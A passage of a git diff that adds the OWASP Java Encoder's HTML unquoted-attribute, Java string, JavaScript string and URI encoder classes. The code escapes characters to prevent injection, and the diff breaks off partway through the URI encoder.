+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+package org.owasp.encoder;
+
+import java.nio.CharBuffer;
+import java.nio.charset.CoderResult;
+
+/**
+ * <p>
+ * HTMLEncoder -- an encoder for HTML contexts. Currently most HTML-based
+ * contexts are properly handled by {@link XMLEncoder}. The remaining
+ * HTML-specific context of "unquoted attributes" could not be added to the
+ * XMLEncoder without slowing it down. This class implements that remaining
+ * context: <strong>unquoted attribute values</strong>.</p>
+ *
+ * <p>
+ * Note: because this context is likely small strings, and hopefully rarely
+ * used, no effort was put into optimizing this encoder.</p>
+ *
+ * @author Jeff Ichnowski
+ */
+class HTMLEncoder extends Encoder {
+
+ /**
+ * Number of characters in the encoding prefix and suffix when using decimal
+ * numeric encodings of the form "&#...;".
+ */
+ private static final int ENCODE_AFFIX_CHAR_COUNT = 3;
+
+ /**
+ * Encoding for '\t'.
+ */
+ private static final char[] TAB = "&#9;".toCharArray();
+ /**
+ * Encoding for '&amp;'.
+ */
+ private static final char[] AMP = "&amp;".toCharArray();
+ /**
+ * Encoding for '&lt;'.
+ */
+ private static final char[] LT = "&lt;".toCharArray();
+ /**
+ * Encoding for '&gt;'.
+ */
+ private static final char[] GT = "&gt;".toCharArray();
+
+ // The large table-switch implementation used here is fast to
+ // implement but slower at runtime than tuned-for-expected-input
+ // encoders that use selective if/else's. Look at the results of
+ // BenchmarkTest to see the difference. See note in javadoc as to
+ // reasoning.
+ // On Core i7 (Sandybridge)
+ // Baseline is 371.401009 ns/op
+ // Benchmarked Encode.forXml: 324.219992 ns/op (-12.70% on baseline)
+ // Benchmarked Encode.forHtmlUnquotedAttribute: 821.583263 ns/op (+121.21% on baseline)
+ @Override
+ int maxEncodedLength(int n) {
+ // if everything is line separators and paragraph separators then
+ // we get "&#8283;"
+ return n * (ENCODE_AFFIX_CHAR_COUNT + 4);
+ }
+
+ @Override
+ int firstEncodedOffset(String input, int off, int len) {
+ final int n = off + len;
+ for (int i = off; i < n; ++i) {
+ final char ch = input.charAt(i);
+
+ switch (ch) {
+ case '\t':
+ case '\r':
+ case '\f':
+ case '\n':
+ case ' ':
+ case Unicode.NEL:
+ case '\"':
+ case '\'':
+ case '/':
+ case '=':
+ case '`':
+ case '&':
+ case '<':
+ case '>':
+ return i;
+
+ case '!':
+ case '#':
+ case '$':
+ case '%':
+ case '(':
+ case ')':
+ case '*':
+ case '+':
+ case ',':
+ case '-':
+ case '.':
+
+ case '0':
+ case '1':
+ case '2':
+ case '3':
+ case '4':
+ case '5':
+ case '6':
+ case '7':
+ case '8':
+ case '9':
+ case ':':
+ case ';':
+ case '?':
+ case '@':
+
+ case 'A':
+ case 'B':
+ case 'C':
+ case 'D':
+ case 'E':
+ case 'F':
+ case 'G':
+ case 'H':
+ case 'I':
+ case 'J':
+ case 'K':
+ case 'L':
+ case 'M':
+ case 'N':
+ case 'O':
+ case 'P':
+ case 'Q':
+ case 'R':
+ case 'S':
+ case 'T':
+ case 'U':
+ case 'V':
+ case 'W':
+ case 'X':
+ case 'Y':
+ case 'Z':
+
+ case '[':
+ case '\\':
+ case ']':
+ case '^':
+ case '_':
+
+ case 'a':
+ case 'b':
+ case 'c':
+ case 'd':
+ case 'e':
+ case 'f':
+ case 'g':
+ case 'h':
+ case 'i':
+ case 'j':
+ case 'k':
+ case 'l':
+ case 'm':
+ case 'n':
+ case 'o':
+ case 'p':
+ case 'q':
+ case 'r':
+ case 's':
+ case 't':
+ case 'u':
+ case 'v':
+ case 'w':
+ case 'x':
+ case 'y':
+ case 'z':
+
+ case '{':
+ case '|':
+ case '}':
+ case '~':
+ break; // valid
+
+ default:
+
+ if (Character.isHighSurrogate(ch)) {
+ if (i + 1 < n) {
+ if (Character.isLowSurrogate(input.charAt(i + 1))) {
+ int cp = Character.toCodePoint(ch, input.charAt(i + 1));
+ if (Unicode.isNonCharacter(cp)) {
+ return i;
+ } else {
+ ++i;
+ }
+ break;
+ }
+ } else {
+ return i;
+ }
+ }
+
+ if (ch <= Unicode.MAX_C1_CTRL_CHAR
+ || Character.MIN_SURROGATE <= ch && ch <= Character.MAX_SURROGATE
+ || ch > '\ufffd'
+ || ('\ufdd0' <= ch && ch <= '\ufdef')
+ || ch == Unicode.LINE_SEPARATOR || ch == Unicode.PARAGRAPH_SEPARATOR)
+ {
+ return i;
+ }
+ }
+ }
+ return n;
+ }
+
+ /**
+ * Appends a source array verbatim to the output array. Caller must insure
+ * there is enough space in the array for the output.
+ *
+ * @param src the characters to copy
+ * @param out the output buffer
+ * @param j the offset where to write in the output buffer
+ * @return {@code j + src.length}
+ */
+ static int append(char[] src, char[] out, int j) {
+ System.arraycopy(src, 0, out, j, src.length);
+ return j + src.length;
+ }
+
+ /**
+ * Appends the numerically encoded version of {@code codePoint} to the
+ * output buffer. Caller must insure there is enough space for the output.
+ *
+ * @param codePoint the character to encode
+ * @param out the output buffer
+ * @param j the offset where to write in the output buffer
+ * @return {@code j} + the encoded length.
+ */
+ static int encode(int codePoint, char[] out, int j) {
+ out[j++] = '&';
+ out[j++] = '#';
+ if (codePoint >= 1000) {
+ out[j++] = (char) (codePoint / 1000 % 10 + '0');
+ }
+ if (codePoint >= 100) {
+ out[j++] = (char) (codePoint / 100 % 10 + '0');
+ }
+ if (codePoint >= 10) {
+ out[j++] = (char) (codePoint / 10 % 10 + '0');
+ }
+ out[j++] = (char) (codePoint % 10 + '0');
+ out[j++] = ';';
+ return j;
+ }
+
+ //CSOFF: MethodLength
+ @Override
+ CoderResult encodeArrays(CharBuffer input, CharBuffer output, boolean endOfInput) {
+ final char[] in = input.array();
+ final char[] out = output.array();
+ int i = input.arrayOffset() + input.position();
+ final int n = input.arrayOffset() + input.limit();
+ int j = output.arrayOffset() + output.position();
+ final int m = output.arrayOffset() + output.limit();
+
+ charLoop:
+ for (; i < n; ++i) {
+ final char ch = in[i];
+
+ // gigantic switch, hopefully compiled to a tableswitch.
+ // this approach appears to be slower than the if/else
+ // approach used in the other encoders. Perhaps an artifact
+ // of the CPU's branch predictor, or possible additional
+ // overhead of range checking, or having the entire table
+ // available to the cache. If time allows, it would
+ // interesting to find out.
+ switch (ch) {
+ case '\t':
+ if (j + TAB.length > m) {
+ return overflow(input, i, output, j);
+ }
+ j = append(TAB, out, j);
+ break;
+
+ case '\r':
+ case '\n':
+ case '\f':
+ case ' ':
+ case '\"':
+ case '\'':
+ case '/':
+ case '=':
+ case '`':
+ if (ENCODE_AFFIX_CHAR_COUNT + 2 + j > m) {
+ return overflow(input, i, output, j);
+ }
+ j = encode(ch, out, j);
+ break;
+
+ case Unicode.NEL:
+ if (ENCODE_AFFIX_CHAR_COUNT + 3 + j > m) {
+ return overflow(input, i, output, j);
+ }
+ j = encode(ch, out, j);
+ break;
+
+ case '&':
+ if (j + AMP.length > m) {
+ return overflow(input, i, output, j);
+ }
+ j = append(AMP, out, j);
+ break;
+
+ case '<':
+ if (j + LT.length > m) {
+ return overflow(input, i, output, j);
+ }
+ j = append(LT, out, j);
+ break;
+
+ case '>':
+ if (j + GT.length > m) {
+ return overflow(input, i, output, j);
+ }
+ j = append(GT, out, j);
+ break;
+
+ case '!':
+ case '#':
+ case '$':
+ case '%':
+ case '(':
+ case ')':
+ case '*':
+ case '+':
+ case ',':
+ case '-':
+ case '.':
+
+ case '0':
+ case '1':
+ case '2':
+ case '3':
+ case '4':
+ case '5':
+ case '6':
+ case '7':
+ case '8':
+ case '9':
+ case ':':
+ case ';':
+ case '?':
+ case '@':
+
+ case 'A':
+ case 'B':
+ case 'C':
+ case 'D':
+ case 'E':
+ case 'F':
+ case 'G':
+ case 'H':
+ case 'I':
+ case 'J':
+ case 'K':
+ case 'L':
+ case 'M':
+ case 'N':
+ case 'O':
+ case 'P':
+ case 'Q':
+ case 'R':
+ case 'S':
+ case 'T':
+ case 'U':
+ case 'V':
+ case 'W':
+ case 'X':
+ case 'Y':
+ case 'Z':
+
+ case '[':
+ case '\\':
+ case ']':
+ case '^':
+ case '_':
+
+ case 'a':
+ case 'b':
+ case 'c':
+ case 'd':
+ case 'e':
+ case 'f':
+ case 'g':
+ case 'h':
+ case 'i':
+ case 'j':
+ case 'k':
+ case 'l':
+ case 'm':
+ case 'n':
+ case 'o':
+ case 'p':
+ case 'q':
+ case 'r':
+ case 's':
+ case 't':
+ case 'u':
+ case 'v':
+ case 'w':
+ case 'x':
+ case 'y':
+ case 'z':
+ case '{':
+ case '|':
+ case '}':
+ case '~':
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ break;
+ default:
+
+ if (Character.isHighSurrogate(ch)) {
+ if (i + 1 < n) {
+ if (Character.isLowSurrogate(in[i + 1])) {
+ int cp = Character.toCodePoint(ch, in[i + 1]);
+ if (Unicode.isNonCharacter(cp)) {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '-';
+ ++i;
+ } else {
+ if (j + 1 >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ out[j++] = in[++i];
+ }
+ break;
+ }
+ } else if (!endOfInput) {
+ break charLoop;
+ }
+ }
+
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+
+ if (ch <= Unicode.MAX_C1_CTRL_CHAR
+ || Character.MIN_SURROGATE <= ch && ch <= Character.MAX_SURROGATE
+ || ch > '\ufffd'
+ || ('\ufdd0' <= ch && ch <= '\ufdef'))
+ {
+ // invalid
+ out[j++] = '-';
+ } else if (ch == Unicode.LINE_SEPARATOR || ch == Unicode.PARAGRAPH_SEPARATOR) {
+ if (ENCODE_AFFIX_CHAR_COUNT + 4 + j > m) {
+ return overflow(input, i, output, j);
+ }
+ j = encode(ch, out, j);
+ } else {
+ out[j++] = ch;
+ }
+ }
+ }
+
+ return underflow(input, i, output, j);
+ }
+ //CSON: MethodLength
+}
diff --git a/core/src/main/java/org/owasp/encoder/JavaEncoder.java b/core/src/main/java/org/owasp/encoder/JavaEncoder.java
new file mode 100644
index 0000000..277a721
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/JavaEncoder.java
@@ -0,0 +1,215 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+package org.owasp.encoder;
+
+import java.nio.CharBuffer;
+import java.nio.charset.CoderResult;
+
+/**
+ * JavaEncoder -- Encoder for Java based strings. Useful if in Java code
+ * generators to generate efficiently encoded strings for arbitrary data. This
+ * encoder uses the minimal sequence of characters required to encode a
+ * character (e.g. standard backslash escapes, such as "\n", "\\" , "\'", octal
+ * escapes, and unicode escapes). This encoder does NOT check UTF-16 surrogate
+ * pair sequences. The target output context supports mismatched UTF-16 pairs
+ * (e.g. it will compile, run, etc... with them).
+ *
+ * @author Jeff Ichnowski
+ */
+class JavaEncoder extends Encoder {
+
+ /**
+ * The length of a Unicode escape, e.g. "\\u1234".
+ */
+ static final int U_ESCAPE_LENGTH = 6;
+ /**
+ * The length of a octal escape sequence, e.g. "\377".
+ */
+ static final int OCT_ESCAPE_LENGTH = 4;
+ /**
+ * Number of bits to shift for each octal unit.
+ */
+ static final int OCT_SHIFT = 3;
+ /**
+ * The bit-mask for an octal unit.
+ */
+ static final int OCT_MASK = 7;
+
+ @Override
+ protected int maxEncodedLength(int n) {
+ // "\\u####"
+ return n * U_ESCAPE_LENGTH;
+ }
+
+ @Override
+ protected int firstEncodedOffset(String input, int off, int len) {
+ final int n = off + len;
+ for (int i = off; i < n; ++i) {
+ char ch = input.charAt(i);
+ if (ch >= ' ' && ch <= '~') {
+ if (ch == '\\' || ch == '\'' || ch == '\"') {
+ return i;
+ }
+ } else {
+ return i;
+ }
+ }
+ return n;
+ }
+
+ @Override
+ protected CoderResult encodeArrays(CharBuffer input, CharBuffer output, boolean endOfInput) {
+ final char[] in = input.array();
+ final char[] out = output.array();
+ int i = input.arrayOffset() + input.position();
+ final int n = input.arrayOffset() + input.limit();
+ int j = output.arrayOffset() + output.position();
+ final int m = output.arrayOffset() + output.limit();
+
+ charLoop:
+ for (; i < n; ++i) {
+ final char ch = in[i];
+ if (ch >= ' ' && ch <= '~') {
+ if (ch == '\\' || ch == '\'' || ch == '\"') {
+ if (j + 1 >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = ch;
+ } else {
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ }
+ } else {
+ switch (ch) {
+ case '\b':
+ if (j + 1 >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = 'b';
+ break;
+ case '\t':
+ if (j + 1 >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = 't';
+ break;
+ case '\n':
+ if (j + 1 >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = 'n';
+ break;
+ case '\f':
+ if (j + 1 >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = 'f';
+ break;
+ case '\r':
+ if (j + 1 >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = 'r';
+ break;
+ default:
+ if (ch <= '\377') {
+ longEscapeNeeded:
+ {
+ if (ch <= '\37') {
+ // "short" octal escapes: '\0' to '\37'
+ // cannot be followed by '0' to '7' thus
+ // require a lookahead to use.
+ if (i + 1 < n) {
+ char la = in[i + 1];
+ if ('0' <= la && la <= '7') {
+ break longEscapeNeeded;
+ }
+ } else if (!endOfInput) {
+ // need more characters to see if we can use
+ // a short octal escape.
+ break charLoop;
+ }
+
+ if (ch <= '\7') {
+ if (j + 1 >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = (char) (ch + '0');
+ } else {
+ if (j + 2 >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = (char) ((ch >>> OCT_SHIFT) + '0');
+ out[j++] = (char) ((ch & OCT_MASK) + '0');
+ }
+
+ continue;
+ }
+ }
+
+ if (j + OCT_ESCAPE_LENGTH > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = (char) ((ch >>> 2 * OCT_SHIFT) + '0');
+ out[j++] = (char) (((ch >>> OCT_SHIFT) & OCT_MASK) + '0');
+ out[j++] = (char) ((ch & OCT_MASK) + '0');
+ } else {
+ if (j + U_ESCAPE_LENGTH > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = 'u';
+ out[j++] = HEX[ch >>> 3 * HEX_SHIFT];
+ out[j++] = HEX[(ch >>> 2 * HEX_SHIFT) & HEX_MASK];
+ out[j++] = HEX[(ch >>> HEX_SHIFT) & HEX_MASK];
+ out[j++] = HEX[ch & HEX_MASK];
+ }
+ }
+ }
+ }
+
+ return underflow(input, i, output, j);
+ }
+}
diff --git a/core/src/main/java/org/owasp/encoder/JavaScriptEncoder.java b/core/src/main/java/org/owasp/encoder/JavaScriptEncoder.java
new file mode 100644
index 0000000..5ff0335
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/JavaScriptEncoder.java
@@ -0,0 +1,298 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+package org.owasp.encoder;
+
+import java.nio.CharBuffer;
+import java.nio.charset.CoderResult;
+
+/**
+ * JavaScriptEncoder -- An encoder for JavaScript string contexts.
+ *
+ * @author jeffi
+ */
+class JavaScriptEncoder extends Encoder {
+
+ /**
+ * Mode of operation constants for the JavaScriptEncoder.
+ */
+ enum Mode {
+ /**
+ * Standard encoding of JavaScript Strings. Escape sequences are chosen
+ * according to what is the shortest sequence possible for the
+ * character.
+ */
+ SOURCE,
+ /**
+ * Encoding for use in HTML attributes. Quote characters are escaped
+ * using hex encodes instead of backslashes. The alternate would be to
+ * use a sequence of encodes that would actually be longer. In this mode
+ * double-quote is "\x22" and single-quote is "\x27". (In HTML
+ * attributes the alternate would be encoding "\"" and "\'" with entity
+ * escapes to "\&amp;#34;" and "\&amp;39;").
+ */
+ ATTRIBUTE,
+ /**
+ * Encoding for use in HTML script blocks. The main concern here is
+ * permaturely terminating a script block with a closing "&lt;/" inside
+ * the string. This encoding escapes "/" as "\/" to prevent such
+ * termination.
+ */
+ BLOCK,
+ /**
+ * Encodes for use in either HTML script attributes or blocks.
+ * Essentially this is both special escapes from HTML_ATTRIBUTE and
+ * HTML_CONTENT combined.
+ */
+ HTML,;
+ }
+
+ /**
+ * The mode of operations--used for toString implementation.
+ */
+ private final Mode _mode;
+ /**
+ * True if quotation characters should be hex encoded. Hex encoding quotes
+ * allows JavaScript to be included in XML attributes without additional
+ * XML-based encoding.
+ */
+ private final boolean _hexEncodeQuotes;
+ /**
+ * An array of 4 32-bit integers used as bitmasks to check if a character
+ * needs encoding or not. If the bit is set, the character is valid and does
+ * not need encoding.
+ */
+ private final int[] _validMasks;
+ /**
+ * True if the output should only include ASCII characters. Valid non-ASCII
+ * characters that would normally not be encoded, will be encoded.
+ */
+ private final boolean _asciiOnly;
+
+ /**
+ * Constructs a new JavaScriptEncoder for the specified contextual mode.
+ *
+ * @param mode the mode of operation
+ * @param asciiOnly true if only ASCII characters should be included in the
+ * output (all code-points outside the ASCII range will be encoded).
+ */
+ JavaScriptEncoder(Mode mode, boolean asciiOnly) {
+ // TODO: after some testing it appears that an array of int masks
+ // is faster than two longs, or an array of longs or an array of bytes
+ // the other encoders based upon masks should be switched to ints.
+ // (to be clear, it's much faster on 32-bit VMS, and just slightly
+ // faster on 64-bit VMS)
+ _mode = mode;
+
+ // Note: this probably needs to be repeated everywhere this trick is
+ // used, but here seems like as good a place as any. According to
+ // the Java spec (x << y) where x and y are integers, is evaluated
+ // as (x << (y & 31)). Or put another way, only the lower 5 bits
+ // of the shift amount are considered.
+ _validMasks = new int[]{
+ 0,
+ -1 & ~((1 << '\'') | (1 << '\"')),
+ -1 & ~((1 << '\\')),
+ asciiOnly ? ~(1 << Unicode.DEL) : -1,};
+
+ if (mode == Mode.BLOCK || mode == Mode.HTML) {
+ // in <script> blocks, we need to prevent the browser from seeing
+ // "</anything>" and "<!--". To do so we escape "/" as "\/" and
+ // escape "-" as "\-". Both could be solved with a hex encoding
+ // on "<" but we figure "<" appears often in script strings and
+ // the backslash encoding is more readable than a hex encoding.
+ // (And note, a backslash encoding would not prevent the exploits
+ // on "</...>" and "<!--".
+ // In short "</script>" is escaped as "<\/script>" and "<!--" is
+ // escaped as "<!\-\-".
+ _validMasks[1] &= ~((1 << '/') | (1 << '-'));
+ }
+ if (mode != Mode.SOURCE) {
+ _validMasks[1] &= ~(1 << '&');
+ }
+
+ _asciiOnly = asciiOnly;
+ _hexEncodeQuotes = (mode == Mode.ATTRIBUTE || mode == Mode.HTML);
+ }
+
+ @Override
+ int maxEncodedLength(int n) {
+ return n * 6;
+ }
+
+ @Override
+ int firstEncodedOffset(String input, int off, int len) {
+ final int n = off + len;
+ final int[] validMasks = this._validMasks;
+ for (int i = off; i < n; ++i) {
+ char ch = input.charAt(i);
+ if (ch < 128) {
+ if ((validMasks[ch >>> 5] & (1 << ch)) == 0) {
+ return i;
+ }
+ } else if (_asciiOnly || ch == Unicode.LINE_SEPARATOR || ch == Unicode.PARAGRAPH_SEPARATOR) {
+ return i;
+ }
+ }
+ return n;
+ }
+
+ @Override
+ protected CoderResult encodeArrays(CharBuffer input, CharBuffer output, boolean endOfInput) {
+ final char[] in = input.array();
+ final char[] out = output.array();
+ int i = input.arrayOffset() + input.position();
+ final int n = input.arrayOffset() + input.limit();
+ int j = output.arrayOffset() + output.position();
+ final int m = output.arrayOffset() + output.limit();
+
+ final int[] validMasks = this._validMasks;
+
+ for (; i < n; ++i) {
+ char ch = in[i];
+
+ hexEncoded:
+ {
+ encoded:
+ {
+ if (ch < 128) {
+ if ((validMasks[ch >>> 5] & (1 << ch)) == 0) {
+ break encoded;
+ }
+ } else if (_asciiOnly || ch == Unicode.LINE_SEPARATOR || ch == Unicode.PARAGRAPH_SEPARATOR) {
+ if (ch <= 0xff) {
+ break hexEncoded;
+ }
+ if (j + 6 > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = 'u';
+ out[j++] = HEX[ch >>> 3 * HEX_SHIFT];
+ out[j++] = HEX[ch >>> 2 * HEX_SHIFT & HEX_MASK];
+ out[j++] = HEX[ch >>> HEX_SHIFT & HEX_MASK];
+ out[j++] = HEX[ch & HEX_MASK];
+ continue;
+ }
+ if (j >= m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = ch;
+ continue;
+ }
+
+ switch (ch) {
+ case '\b':
+ if (j + 2 > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = 'b';
+ continue;
+ case '\t':
+ if (j + 2 > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = 't';
+ continue;
+ case '\n':
+ if (j + 2 > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = 'n';
+ continue;
+ // Per Mike Samuel "\v should not be used since some
+ // versions of IE treat it as a literal letter 'v'"
+// case 0x0b: // '\v'
+// if (j+1 >= m) {
+// return overflow(input, i, output, j);
+// }
+// out[j++] = '\\';
+// out[j++] = 'v';
+// break;
+ case '\f':
+ if (j + 2 > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = 'f';
+ continue;
+ case '\r':
+ if (j + 2 > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = 'r';
+ continue;
+ case '\'':
+ case '\"':
+ if (_hexEncodeQuotes) {
+ break hexEncoded;
+ }
+ // fall through
+ case '\\':
+ case '/':
+ case '-':
+ // We'll only see '/' and '-' here in the BLOCK and HTML
+ // modes otherwise it will be accepted as valid by the
+ // bitmasks.
+ if (j + 2 > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = ch;
+ continue;
+ default:
+ break;
+ }
+ }
+
+ if (j + 4 > m) {
+ return overflow(input, i, output, j);
+ }
+ out[j++] = '\\';
+ out[j++] = 'x';
+ out[j++] = HEX[ch >>> HEX_SHIFT];
+ out[j++] = HEX[ch & HEX_MASK];
+ }
+
+ return underflow(input, i, output, j);
+ }
+
+ @Override
+ public String toString() {
+ return "JavaScriptEncoder(mode=" + _mode + "," + (_asciiOnly ? "ASCII" : "UNICODE") + ")";
+ }
+}
diff --git a/core/src/main/java/org/owasp/encoder/URIEncoder.java b/core/src/main/java/org/owasp/encoder/URIEncoder.java
new file mode 100644
index 0000000..3480a72
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/URIEncoder.java
@@ -0,0 +1,392 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+package org.owasp.encoder;
+
+import java.nio.CharBuffer;
+import java.nio.charset.CoderResult;
+
+/**
+ * URIEncoder -- An encoder for URI based contexts.
+ *
+ * @author jeffi
+ */
+class URIEncoder extends Encoder {
+
+ /**
+ * Number of characters in the range '0' to '9'.
+ */
+ static final int CHARS_0_TO_9 = 10;
+ /**
+ * Number of characters in the range 'a' to 'z'.
+ */
+ static final int CHARS_A_TO_Z = 26;
+ /**
+ * Number of bits in a long.
+ */
+ static final int LONG_BITS = 64;
+
+ /**
+ * Maximum number of characters quired to encode a single input character.
+ */
+ static final int MAX_ENCODED_CHAR_LENGTH = 9;
+ /**
+ * Number of characters used to '%' encode a single hex-value.
+ */
+ static final int PERCENT_ENCODED_LENGTH = 3;
+ /**
+ * Maximum code-point value that can be encoded with 2 utf-8 bytes.
+ */
+ static final int MAX_UTF8_2_BYTE = 0x7ff;
+ /**
+ * When the encoded output requires 2 bytes, this is the high bits of the first byte.
+ */
+ static final int UTF8_2_BYTE_FIRST_MSB = 0xc0;
+ /**
+ * When the encoded output requires 3 bytes, this is the high bits of the first byte.
+ */
+ static final int UTF8_3_BYTE_FIRST_MSB = 0xe0;
+ /**
+ * When the encoded output requires 4 bytes, this is the high bits of the first byte.
+ */
+ static final int UTF8_4_BYTE_FIRST_MSB = 0xf0;
+ /**
+ * For all characters in a 2-4 byte encoded sequence after the first this is the high bits of the input bytes.
+ */
+ static final int UTF8_BYTE_MSB = 0x80;
+
+ /**
+ * UTF-8 encodes 6-bits of the code-point in each output UTF-8 byte.
+ */
+ static final int UTF8_SHIFT = 6;
+ /**
+ * This is the mask containing 6-ones in the lower 6-bits.
+ */
+ static final int UTF8_MASK = 0x3f;
+
+ /**
+ * The character to use when replacing an invalid character.
+ */
+ static final char INVALID_REPLACEMENT_CHARACTER = '-';
+
+ /**
+ * RFC 3986 -- "The uppercase hexadecimal digits 'A' through 'F' are equivalent to the lowercase digits 'a' through 'f',
+ * respectively. If two URIs differ only in the case of hexadecimal digits used in percent- encoded octets, they are
